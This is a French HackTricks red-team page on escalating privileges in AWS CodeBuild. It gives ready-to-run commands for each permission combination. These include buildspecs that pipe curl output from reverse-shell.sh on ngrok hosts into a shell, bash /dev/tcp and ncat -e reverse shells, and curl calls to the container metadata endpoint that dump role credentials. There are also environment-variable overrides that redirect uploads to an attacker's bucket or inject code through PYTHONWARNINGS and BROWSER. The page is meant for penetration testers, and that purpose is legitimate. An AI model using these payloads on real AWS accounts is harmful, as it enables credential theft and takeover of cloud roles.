AWS - Codebuild Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

codebuild

Plus d’informations :

AWS - Codebuild Enum

codebuild:StartBuild | codebuild:StartBuildBatch

Avec une seule de ces permissions, il suffit de déclencher un build avec un nouveau buildspec et de voler le token du rÎle IAM assigné au projet :

cat > /tmp/buildspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml

Remarque : La différence entre ces deux commandes est la suivante :

  • StartBuild dĂ©clenche un seul job de build en utilisant un buildspec.yml spĂ©cifique.
  • StartBuildBatch vous permet de lancer un ensemble de builds, avec des configurations plus complexes (par exemple exĂ©cuter plusieurs builds en parallĂšle).

Impact potentiel : Privesc direct vers les rÎles AWS Codebuild attachés.

StartBuild — Surcharge des variables d’environnement

MĂȘme si vous ne pouvez pas modifier le projet (UpdateProject) et ne pouvez pas surcharger le buildspec, codebuild:StartBuild permet toujours de surcharger les variables d’environnement au moment du build via :

  • CLI : --environment-variables-override
  • API : environmentVariablesOverride

Si le build utilise des variables d’environnement pour contrĂŽler son comportement (buckets de destination, feature flags, paramĂštres de proxy, logging, etc.), cela peut suffire Ă  exfiltrer des secrets auxquels le rĂŽle du build a accĂšs ou Ă  obtenir une exĂ©cution de code Ă  l’intĂ©rieur du build.

Exemple 1 : Rediriger la destination d’artifact/upload pour exfiltrer des secrets

Si le build publie un artifact vers un bucket/chemin contrĂŽlĂ© par une variable d’environnement (par exemple UPLOAD_BUCKET), remplacez-la par un bucket contrĂŽlĂ© par l’attaquant :

export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"

export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)

# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done

# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
Exemple 2 : Injection au démarrage Python via PYTHONWARNINGS + BROWSER

Si le build exĂ©cute python3 (common in buildspecs), vous pouvez parfois obtenir l’exĂ©cution de code sans modifier le buildspec en abusant de :

  • PYTHONWARNINGS : Python rĂ©sout le champ category et importera des chemins pointĂ©s. Le dĂ©finir sur ...:antigravity.x:... force l’importation du module stdlib antigravity.
  • antigravity : appelle webbrowser.open(...).
  • BROWSER : contrĂŽle ce que webbrowser exĂ©cute. Sur Linux il est sĂ©parĂ© par :. Utiliser #%s transforme l’argument URL en commentaire shell.

Cela peut ĂȘtre utilisĂ© pour imprimer les identifiants du rĂŽle CodeBuild (depuis http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) dans les logs CloudWatch, puis les rĂ©cupĂ©rer si vous avez les permissions de lecture des logs.

DĂ©pliable : requĂȘte JSON StartBuild pour l'astuce PYTHONWARNINGS + BROWSER ```json { "projectName": "codebuild_lab_7_project", "environmentVariablesOverride": [ { "name": "PYTHONWARNINGS", "value": "all:0:antigravity.x:0:0", "type": "PLAINTEXT" }, { "name": "BROWSER", "value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s", "type": "PLAINTEXT" } ] } ```

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Un attaquant disposant des permissions iam:PassRole, codebuild:CreateProject, et codebuild:StartBuild ou codebuild:StartBuildBatch pourrait obtenir les privilĂšges de n’importe quel rĂŽle IAM de codebuild en en crĂ©ant un en cours d’exĂ©cution.

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

Impact potentiel : privesc direct vers n’importe quel rîle AWS Codebuild.

Warning

Dans un Codebuild container le fichier /codebuild/output/tmp/env.sh contient toutes les env vars nécessaires pour accéder aux metadata credentials.

Ce fichier contient la variable d’environnement AWS_CONTAINER_CREDENTIALS_RELATIVE_URI qui contient le chemin URL pour accĂ©der aux credentials. Cela ressemblera Ă  ceci /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

Ajoutez cela à l’URL http://169.254.170.2/ et vous pourrez dump les credentials du rîle.

De plus, il contient aussi la variable d’environnement ECS_CONTAINER_METADATA_URI qui contient l’URL complùte pour obtenir des metadata info sur le conteneur.

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Comme dans la section précédente, si, au lieu de créer un build project, vous pouvez le modifier, vous pouvez indiquer le rÎle IAM et voler le token

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Impact potentiel : Privesc direct vers n’importe quel rîle AWS Codebuild.

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Comme dans la section précédente, mais sans la permission iam:PassRole, vous pouvez abuser de ces permissions pour modifier des projets Codebuild existants et accéder au rÎle qui leur est déjà attribué.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Impact potentiel : Privesc direct vers les rÎles AWS Codebuild attachés.

SSM

En ayant les permissions suffisantes pour dĂ©marrer une session ssm, il est possible d’entrer dans un projet Codebuild en cours de compilation.

Le projet Codebuild devra avoir un breakpoint:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

Et ensuite:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

For more info check the docs.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

Un attacker pouvant dĂ©marrer/redĂ©marrer une build d’un projet CodeBuild spĂ©cifique qui stocke son fichier buildspec.yml dans un bucket S3 auquel l’attacker a accĂšs en Ă©criture, peut obtenir command execution dans le processus CodeBuild.

Note : l’escalade n’est pertinente que si le worker CodeBuild dispose d’un rĂŽle diffĂ©rent — idĂ©alement plus privilĂ©giĂ© — de celui de l’attacker.

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

Vous pouvez utiliser un buildspec comme celui-ci pour obtenir un reverse shell :

version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impact: Privesc direct sur le rÎle utilisé par le worker AWS CodeBuild qui dispose généralement de privilÚges élevés.

Warning

Notez que le buildspec peut ĂȘtre fourni au format zip, donc un attaquant devrait le tĂ©lĂ©charger, le dĂ©zipper, modifier le buildspec.yml Ă  partir du rĂ©pertoire racine, le zipper Ă  nouveau et le tĂ©lĂ©verser

Plus de dĂ©tails peuvent ĂȘtre trouvĂ©s ici.

Impact potentiel: Privesc direct vers les rÎles AWS Codebuild attachés.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks